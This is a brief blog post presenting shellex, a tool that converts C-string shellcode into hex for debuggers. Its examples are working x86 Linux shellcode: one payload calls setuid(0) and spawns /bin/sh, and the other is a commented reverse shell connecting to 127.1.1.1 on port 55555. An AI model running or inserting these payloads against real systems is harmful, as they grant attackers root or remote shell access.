shellex: C-shellcode to hex converter

by do son · January 15, 2021

shellex

C-shellcode to hex converter.

A handy tool for paste & execute shellcodes in gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger & 010 editors.

Are you having problems converting C-shellcodes to HEX (maybe c-comments+ASCII mixed?)

Here is shellex. If the shellcode can be compiled in a C compiler shellex can convert it.

Just execute shellex, paste the shellcode c-string, and press ENTER.

To end use Control+Z(Windows)/Control+D(Linux)

Converting c-shellcode-multi-line-hex+mixed_ascii (pay attention in the mixed part \x68//sh\x68/bin\x89):

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex output:

6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Converting c-shellcode-multi-line-with-comments:

"\x68"

"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1

"\x5e\x66\x68"

"\xd9\x03"          // <- Port: 55555

"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"

"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"

"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"

"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"

"\xeb\xce"

shellex output:

68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

Do you need the shellex output as a new c-shellcode-string? just use -h parameter, for example converting the shellex output:

./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80



\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80